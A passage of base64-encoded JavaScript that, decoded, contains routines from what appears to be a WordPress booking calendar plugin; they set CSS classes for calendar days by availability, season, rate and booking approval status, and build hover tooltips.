2tfdGhpc1x0XHRcdFx0XHRcdFx0XHQtIHRoaXMgb2YgZGF0ZXBpY2sgT2JqXHJcblx0ICogQHJldHVybnMgeygqfHN0cmluZylbXXwoYm9vbGVhbnxzdHJpbmcpW119XHRcdC0gWyB7dHJ1ZSAtYXZhaWxhYmxlIHwgZmFsc2UgLSB1bmF2YWlsYWJsZX0sICdDU1MgY2xhc3NlcyBmb3IgY2FsZW5kYXIgZGF5IGNlbGwnIF1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX19jYWxlbmRhcl9fYXBwbHlfY3NzX3RvX2RheXMoIGRhdGUsIGNhbGVuZGFyX3BhcmFtc19hcnIsIGRhdGVwaWNrX3RoaXMgKXtcclxuXHJcblx0XHR2YXIgdG9kYXlfZGF0ZSA9IG5ldyBEYXRlKCBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICd0b2RheV9hcnInIClbIDAgXSwgKHBhcnNlSW50KCBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICd0b2RheV9hcnInIClbIDEgXSApIC0gMSksIF93cGJjLmdldF9vdGhlcl9wYXJhbSggJ3RvZGF5X2FycicgKVsgMiBdLCAwLCAwLCAwICk7XHRcdFx0XHRcdFx0XHRcdC8vIFRvZGF5IEpTX0RhdGVfT2JqLlxyXG5cdFx0dmFyIGNsYXNzX2RheSAgICAgPSB3cGJjX19nZXRfX3RkX2NsYXNzX2RhdGUoIGRhdGUgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyAnMS05LTIwMjMnXHJcblx0XHR2YXIgc3FsX2NsYXNzX2RheSA9IHdwYmNfX2dldF9fc3FsX2NsYXNzX2RhdGUoIGRhdGUgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyAnMjAyMy0wMS0wOSdcclxuXHRcdHZhciByZXNvdXJjZV9pZCA9ICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZihjYWxlbmRhcl9wYXJhbXNfYXJyWyAncmVzb3VyY2VfaWQnIF0pICkgPyBjYWxlbmRhcl9wYXJhbXNfYXJyWyAncmVzb3VyY2VfaWQnIF0gOiAnMSc7IFx0XHQvLyAnMSdcclxuXHJcblx0XHQvLyBHZXQgRGF0YSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIGRhdGVfYm9va2luZ3Nfb2JqID0gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSggcmVzb3VyY2VfaWQsIHNxbF9jbGFzc19kYXkgKTtcclxuXHJcblxyXG5cdFx0Ly8gQXJyYXkgd2l0aCBDU1MgY2xhc3NlcyBmb3IgZGF0ZSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdHZhciBjc3NfY2xhc3Nlc19fZm9yX2RhdGUgPSBbXTtcclxuXHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnc3FsX2RhdGVfJyAgICAgKyBzcWxfY2xhc3NfZGF5ICk7XHRcdFx0XHQvLyAgJ3NxbF9kYXRlXzIwMjMtMDctMjEnXHJcblx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NhbDRkYXRlLScgICAgICsgY2xhc3NfZGF5ICk7XHRcdFx0XHRcdC8vICAnY2FsNGRhdGUtNy0yMS0yMDIzJ1xyXG5cdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICd3cGJjX3dlZWtkYXlfJyArIGRhdGUuZ2V0RGF5KCkgKTtcdFx0XHRcdC8vICAnd3BiY193ZWVrZGF5XzQnXHJcblxyXG5cdFx0dmFyIGlzX2RheV9zZWxlY3RhYmxlID0gZmFsc2U7XHJcblxyXG5cdFx0Ly8gSWYgc29tZXRoaW5nIG5vdCBkZWZpbmVkLCAgdGhlbiAgdGhpcyBkYXRlIGNsb3NlZCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdGlmICggZmFsc2UgPT09IGRhdGVfYm9va2luZ3Nfb2JqICl7XHJcblxyXG5cdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2RhdGVfdXNlcl91bmF2YWlsYWJsZScgKTtcclxuXHJcblx0XHRcdHJldHVybiBbIGlzX2RheV9zZWxlY3RhYmxlLCBjc3NfY2xhc3Nlc19fZm9yX2RhdGUuam9pbignICcpICBdO1xyXG5cdFx0fVxyXG5cclxuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gICBkYXRlX2Jvb2tpbmdzX29iaiAgLSBEZWZpbmVkLiAgICAgICAgICAgIERhdGVzIGNhbiBiZSBzZWxlY3RhYmxlLlxyXG5cdFx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Ly8gQWRkIHNlYXNvbiBuYW1lcyB0byB0aGUgZGF5IENTUyBjbGFzc2VzIC0tIGl0IGlzIHJlcXVpcmVkIGZvciBjb3JyZWN0ICB3b3JrICBvZiBjb25kaXRpb25hbCBmaWVsZHMgLS0tLS0tLS0tLS0tLS1cclxuXHRcdHZhciBzZWFzb25fbmFtZXNfYXJyID0gX3dwYmMuc2Vhc29uc19fZ2V0X2Zvcl9kYXRlKCByZXNvdXJjZV9pZCwgc3FsX2NsYXNzX2RheSApO1xyXG5cclxuXHRcdGZvciAoIHZhciBzZWFzb25fa2V5IGluIHNlYXNvbl9uYW1lc19hcnIgKXtcclxuXHJcblx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCBzZWFzb25fbmFtZXNfYXJyWyBzZWFzb25fa2V5IF0gKTtcdFx0XHRcdC8vICAnd3BkZXZia19zZWFzb25fc2VwdGVtYmVyXzIwMjMnXHJcblx0XHR9XHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHJcblx0XHQvLyBDb3N0IFJhdGUgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdyYXRlXycgKyBkYXRlX2Jvb2tpbmdzX29ialsgcmVzb3VyY2VfaWQgXVsgJ2RhdGVfY29zdF9yYXRlJyBdLnRvU3RyaW5nKCkucmVwbGFjZSggL1tcXC5cXHNdL2csICdfJyApICk7XHRcdFx0XHRcdFx0Ly8gICdyYXRlXzk5XzAwJyAtPiA5OS4wMFxyXG5cclxuXHJcblx0XHRpZiAoIHBhcnNlSW50KCBkYXRlX2Jvb2tpbmdzX29ialsgJ2RheV9hdmFpbGFiaWxpdHknIF0gKSA+IDAgKXtcclxuXHRcdFx0aXNfZGF5X3NlbGVjdGFibGUgPSB0cnVlO1xyXG5cdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2RhdGVfYXZhaWxhYmxlJyApO1xyXG5cdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ3Jlc2VydmVkX2RheXNfY291bnQnICsgcGFyc2VJbnQoIGRhdGVfYm9va2luZ3Nfb2JqWyAnbWF4X2NhcGFjaXR5JyBdIC0gZGF0ZV9ib29raW5nc19vYmpbICdkYXlfYXZhaWxhYmlsaXR5JyBdICkgKTtcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdGlzX2RheV9zZWxlY3RhYmxlID0gZmFsc2U7XHJcblx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV91c2VyX3VuYXZhaWxhYmxlJyApO1xyXG5cdFx0fVxyXG5cclxuXHJcblx0XHRzd2l0Y2ggKCBkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9kYXknIF0gKXtcclxuXHJcblx0XHRcdGNhc2UgJ2F2YWlsYWJsZSc6XHJcblx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRjYXNlICd0aW1lX3Nsb3RzX2Jvb2tpbmcnOlxyXG5cdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAndGltZXNwYXJ0bHknLCAndGltZXNfY2xvY2snICk7XHJcblx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRjYXNlICdmdWxsX2RheV9ib29raW5nJzpcclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2Z1bGxfZGF5X2Jvb2tpbmcnICk7XHJcblx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRjYXNlICdzZWFzb25fZmlsdGVyJzpcclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2RhdGVfdXNlcl91bmF2YWlsYWJsZScsICdzZWFzb25fdW5hdmFpbGFibGUnICk7XHJcblx0XHRcdFx0ZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0gPSAnJztcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gUmVzZXQgYm9va2luZyBzdGF0dXMgY29sb3IgZm9yIHBvc3NpYmxlIG9sZCBib29raW5ncyBvbiB0aGlzIGRhdGVcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ3Jlc291cmNlX2F2YWlsYWJpbGl0eSc6XHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdkYXRlX3VzZXJfdW5hdmFpbGFibGUnLCAncmVzb3VyY2VfdW5hdmFpbGFibGUnICk7XHJcblx0XHRcdFx0ZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0gPSAnJztcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gUmVzZXQgYm9va2luZyBzdGF0dXMgY29sb3IgZm9yIHBvc3NpYmxlIG9sZCBib29raW5ncyBvbiB0aGlzIGRhdGVcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ3dlZWtkYXlfdW5hdmFpbGFibGUnOlxyXG5cdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV91c2VyX3VuYXZhaWxhYmxlJywgJ3dlZWtkYXlfdW5hdmFpbGFibGUnICk7XHJcblx0XHRcdFx0ZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0gPSAnJztcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gUmVzZXQgYm9va2luZyBzdGF0dXMgY29sb3IgZm9yIHBvc3NpYmxlIG9sZCBib29raW5ncyBvbiB0aGlzIGRhdGVcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ2Zyb21fdG9kYXlfdW5hdmFpbGFibGUnOlxyXG5cdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV91c2VyX3VuYXZhaWxhYmxlJywgJ2Zyb21fdG9kYXlfdW5hdmFpbGFibGUnICk7XHJcblx0XHRcdFx0ZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0gPSAnJztcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gUmVzZXQgYm9va2luZyBzdGF0dXMgY29sb3IgZm9yIHBvc3NpYmxlIG9sZCBib29raW5ncyBvbiB0aGlzIGRhdGVcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ2xpbWl0X2F2YWlsYWJsZV9mcm9tX3RvZGF5JzpcclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2RhdGVfdXNlcl91bmF2YWlsYWJsZScsICdsaW1pdF9hdmFpbGFibGVfZnJvbV90b2RheScgKTtcclxuXHRcdFx0XHRkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9ib29raW5ncycgXSA9ICcnO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBSZXNldCBib29raW5nIHN0YXR1cyBjb2xvciBmb3IgcG9zc2libGUgb2xkIGJvb2tpbmdzIG9uIHRoaXMgZGF0ZVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0Y2FzZSAnY2hhbmdlX292ZXInOlxyXG5cdFx0XHRcdC8qXHJcblx0XHRcdFx0ICpcclxuXHRcdFx0XHQvLyAgY2hlY2tfb3V0X3RpbWVfZGF0ZTJhcHByb3ZlIFx0IFx0Y2hlY2tfaW5fdGltZV9kYXRlMmFwcHJvdmVcclxuXHRcdFx0XHQvLyAgY2hlY2tfb3V0X3RpbWVfZGF0ZTJhcHByb3ZlIFx0IFx0Y2hlY2tfaW5fdGltZV9kYXRlX2FwcHJvdmVkXHJcblx0XHRcdFx0Ly8gIGNoZWNrX2luX3RpbWVfZGF0ZTJhcHByb3ZlIFx0XHQgXHRjaGVja19vdXRfdGltZV9kYXRlX2FwcHJvdmVkXHJcblx0XHRcdFx0Ly8gIGNoZWNrX291dF90aW1lX2RhdGVfYXBwcm92ZWQgXHQgXHRjaGVja19pbl90aW1lX2RhdGVfYXBwcm92ZWRcclxuXHRcdFx0XHQgKi9cclxuXHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICd0aW1lc3BhcnRseScsICdjaGVja19pbl90aW1lJywgJ2NoZWNrX291dF90aW1lJyApO1xyXG5cdFx0XHRcdC8vRml4SW46IDEwLjAuMC4yXHJcblx0XHRcdFx0aWYgKCBkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknIF1bICdzdGF0dXNfZm9yX2Jvb2tpbmdzJyBdLmluZGV4T2YoICdhcHByb3ZlZF9wZW5kaW5nJyApID4gLTEgKXtcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnY2hlY2tfb3V0X3RpbWVfZGF0ZV9hcHByb3ZlZCcsICdjaGVja19pbl90aW1lX2RhdGUyYXBwcm92ZScgKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0aWYgKCBkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknIF1bICdzdGF0dXNfZm9yX2Jvb2tpbmdzJyBdLmluZGV4T2YoICdwZW5kaW5nX2FwcHJvdmVkJyApID4gLTEgKXtcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnY2hlY2tfb3V0X3RpbWVfZGF0ZTJhcHByb3ZlJywgJ2NoZWNrX2luX3RpbWVfZGF0ZV9hcHByb3ZlZCcgKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRjYXNlICdjaGVja19pbic6XHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICd0aW1lc3BhcnRseScsICdjaGVja19pbl90aW1lJyApO1xyXG5cclxuXHRcdFx0XHQvL0ZpeEluOiA5LjkuMC4zM1xyXG5cdFx0XHRcdGlmICggZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5JyBdWyAnc3RhdHVzX2Zvcl9ib29raW5ncycgXS5pbmRleE9mKCAncGVuZGluZycgKSA+IC0xICl7XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2NoZWNrX2luX3RpbWVfZGF0ZTJhcHByb3ZlJyApO1xyXG5cdFx0XHRcdH0gZWxzZSBpZiAoIGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeScgXVsgJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0uaW5kZXhPZiggJ2FwcHJvdmVkJyApID4gLTEgKXtcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnY2hlY2tfaW5fdGltZV9kYXRlX2FwcHJvdmVkJyApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ2NoZWNrX291dCc6XHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICd0aW1lc3BhcnRseScsICdjaGVja19vdXRfdGltZScgKTtcclxuXHJcblx0XHRcdFx0Ly9GaXhJbjogOS45LjAuMzNcclxuXHRcdFx0XHRpZiAoIGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeScgXVsgJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0uaW5kZXhPZiggJ3BlbmRpbmcnICkgPiAtMSApe1xyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlMmFwcHJvdmUnICk7XHJcblx0XHRcdFx0fSBlbHNlIGlmICggZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5JyBdWyAnc3RhdHVzX2Zvcl9ib29raW5ncycgXS5pbmRleE9mKCAnYXBwcm92ZWQnICkgPiAtMSApe1xyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlX2FwcHJvdmVkJyApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGRlZmF1bHQ6XHJcblx0XHRcdFx0Ly8gbWl4ZWQgc3RhdHVzZXM6ICdjaGFuZ2Vfb3ZlciBjaGVja19vdXQnIC4uLi4gdmFyaWF0aW9ucy4uLi4gY2hlY2sgbW9yZSBpbiBcdFx0ZnVuY3Rpb24gd3BiY19nZXRfYXZhaWxhYmlsaXR5X3Blcl9kYXlzX2FycigpXHJcblx0XHRcdFx0ZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfZGF5JyBdID0gJ2F2YWlsYWJsZSc7XHJcblx0XHR9XHJcblxyXG5cclxuXHJcblx0XHRpZiAoICdhdmFpbGFibGUnICE9IGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeSddWydzdGF0dXNfZm9yX2RheScgXSApe1xyXG5cclxuXHRcdFx0dmFyIGlzX3NldF9wZW5kaW5nX2RheXNfc2VsZWN0YWJsZSA9IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAncGVuZGluZ19kYXlzX3NlbGVjdGFibGUnICk7XHQvLyBzZXQgcGVuZGluZyBkYXlzIHNlbGVjdGFibGUgICAgICAgICAgLy9GaXhJbjogOC42LjEuMThcclxuXHJcblx0XHRcdHN3aXRjaCAoIGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeSddWydzdGF0dXNfZm9yX2Jvb2tpbmdzJyBdICl7XHJcblxyXG5cdFx0XHRcdGNhc2UgJyc6XHJcblx0XHRcdFx0XHQvLyBVc3VhbGx5ICBpdCdzIG1lYW5zIHRoYXQgZGF5ICBpcyBhdmFpbGFibGUgb3IgdW5hdmFpbGFibGUgd2l0aG91dCB0aGUgYm9va2luZ3NcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0XHRjYXNlICdwZW5kaW5nJzpcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZTJhcHByb3ZlJyApO1xyXG5cdFx0XHRcdFx0aXNfZGF5X3NlbGVjdGFibGUgPSAoaXNfZGF5X3NlbGVjdGFibGUpID8gdHJ1ZSA6IGlzX3NldF9wZW5kaW5nX2RheXNfc2VsZWN0YWJsZTtcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0XHRjYXNlICdhcHByb3ZlZCc6XHJcblx0XHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2RhdGVfYXBwcm92ZWQnICk7XHJcblx0XHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdFx0Ly8gU2l0dWF0aW9ucyBmb3IgXCJjaGFuZ2Utb3ZlclwiIGRheXM6IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdFx0XHRjYXNlICdwZW5kaW5nX3BlbmRpbmcnOlxyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlMmFwcHJvdmUnLCAnY2hlY2tfaW5fdGltZV9kYXRlMmFwcHJvdmUnICk7XHJcblx0XHRcdFx0XHRpc19kYXlfc2VsZWN0YWJsZSA9IChpc19kYXlfc2VsZWN0YWJsZSkgPyB0cnVlIDogaXNfc2V0X3BlbmRpbmdfZGF5c19zZWxlY3RhYmxlO1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRcdGNhc2UgJ3BlbmRpbmdfYXBwcm92ZWQnOlxyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlMmFwcHJvdmUnLCAnY2hlY2tfaW5fdGltZV9kYXRlX2FwcHJvdmVkJyApO1xyXG5cdFx0XHRcdFx0aXNfZGF5X3NlbGVjdGFibGUgPSAoaXNfZGF5X3NlbGVjdGFibGUpID8gdHJ1ZSA6IGlzX3NldF9wZW5kaW5nX2RheXNfc2VsZWN0YWJsZTtcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0XHRjYXNlICdhcHByb3ZlZF9wZW5kaW5nJzpcclxuXHRcdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnY2hlY2tfb3V0X3RpbWVfZGF0ZV9hcHByb3ZlZCcsICdjaGVja19pbl90aW1lX2RhdGUyYXBwcm92ZScgKTtcclxuXHRcdFx0XHRcdGlzX2RheV9zZWxlY3RhYmxlID0gKGlzX2RheV9zZWxlY3RhYmxlKSA/IHRydWUgOiBpc19zZXRfcGVuZGluZ19kYXlzX3NlbGVjdGFibGU7XHJcblx0XHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdFx0Y2FzZSAnYXBwcm92ZWRfYXBwcm92ZWQnOlxyXG5cdFx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdjaGVja19vdXRfdGltZV9kYXRlX2FwcHJvdmVkJywgJ2NoZWNrX2luX3RpbWVfZGF0ZV9hcHByb3ZlZCcgKTtcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0XHRkZWZhdWx0OlxyXG5cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBbIGlzX2RheV9zZWxlY3RhYmxlLCBjc3NfY2xhc3Nlc19fZm9yX2RhdGUuam9pbiggJyAnICkgXTtcclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBNb3VzZW92ZXIgY2FsZW5kYXIgZGF0ZSBjZWxsc1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIHN0cmluZ19kYXRlXHJcblx0ICogQHBhcmFtIGRhdGVcdFx0XHRcdFx0XHRcdFx0XHRcdC0gIEphdmFTY3JpcHQgRGF0ZSBPYmo6ICBcdFx0TW9uIERlYyAxMSAyMDIzIDAwOjAwOjAwIEdNVCswMjAwIChFYXN0ZXJuIEV1cm9wZWFuIFN0YW5kYXJkIFRpbWUpXHJcblx0ICogQHBhcmFtIGNhbGVuZGFyX3BhcmFtc19hcnJcdFx0XHRcdFx0XHQtICBDYWxlbmRhciBTZXR0aW5ncyBPYmplY3Q6ICBcdHtcclxuXHQgKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICBcdFx0XHRcdFx0XHRcInJlc291cmNlX2lkXCI6IDRcclxuXHQgKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHQgKiBAcGFyYW0gZGF0ZXBpY2tfdGhpc1x0XHRcdFx0XHRcdFx0XHQtIHRoaXMgb2YgZGF0ZXBpY2sgT2JqXHJcblx0ICogQHJldHVybnMge2Jvb2xlYW59XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19fY2FsZW5kYXJfX29uX2hvdmVyX2RheXMoIHN0cmluZ19kYXRlLCBkYXRlLCBjYWxlbmRhcl9wYXJhbXNfYXJyLCBkYXRlcGlja190aGlzICkge1xyXG5cclxuXHRcdGlmICggbnVsbCA9PT0gZGF0ZSApeyByZXR1cm4gZmFsc2U7IH1cclxuXHJcblx0XHR2YXIgY2xhc3NfZGF5ICAgICA9IHdwYmNfX2dldF9fdGRfY2xhc3NfZGF0ZSggZGF0ZSApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vICcxLTktMjAyMydcclxuXHRcdHZhciBzcWxfY2xhc3NfZGF5ID0gd3BiY19fZ2V0X19zcWxfY2xhc3NfZGF0ZSggZGF0ZSApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vICcyMDIzLTAxLTA5J1xyXG5cdFx0dmFyIHJlc291cmNlX2lkID0gKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mKGNhbGVuZGFyX3BhcmFtc19hcnJbICdyZXNvdXJjZV9pZCcgXSkgKSA/IGNhbGVuZGFyX3BhcmFtc19hcnJbICdyZXNvdXJjZV9pZCcgXSA6ICcxJztcdFx0Ly8gJzEnXHJcblxyXG5cdFx0Ly8gR2V0IERhdGEgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdHZhciBkYXRlX2Jvb2tpbmdfb2JqID0gX3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSggcmVzb3VyY2VfaWQsIHNxbF9jbGFzc19kYXkgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gey4uLn1cclxuXHJcblx0XHRpZiAoICEgZGF0ZV9ib29raW5nX29iaiApeyByZXR1cm4gZmFsc2U7IH1cclxuXHJcblxyXG5cdFx0Ly8gVCBvIG8gbCB0IGkgcCBzIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdHZhciB0b29sdGlwX3RleHQgPSAnJztcclxuXHRcdGlmICggZGF0ZV9ib29raW5nX29ialsgJ3N1bW1hcnknXVsndG9vbHRpcF9hdmFpbGFiaWxpdHknIF0ubGVuZ3RoID4gMCApe1xyXG5cdFx0XHR0b29sdGlwX3RleHQgKz0gIGRhdGVfYm9va2luZ19vYmpbICdzdW1tYXJ5J11bJ3Rvb2x0aXBfYXZhaWxhYmlsaXR5JyBdO1xyXG5cdFx0fVxyXG5cdFx0aWYgKCBkYXRlX2Jvb2tpbmdfb2JqWyAnc3VtbWFyeSddWyd0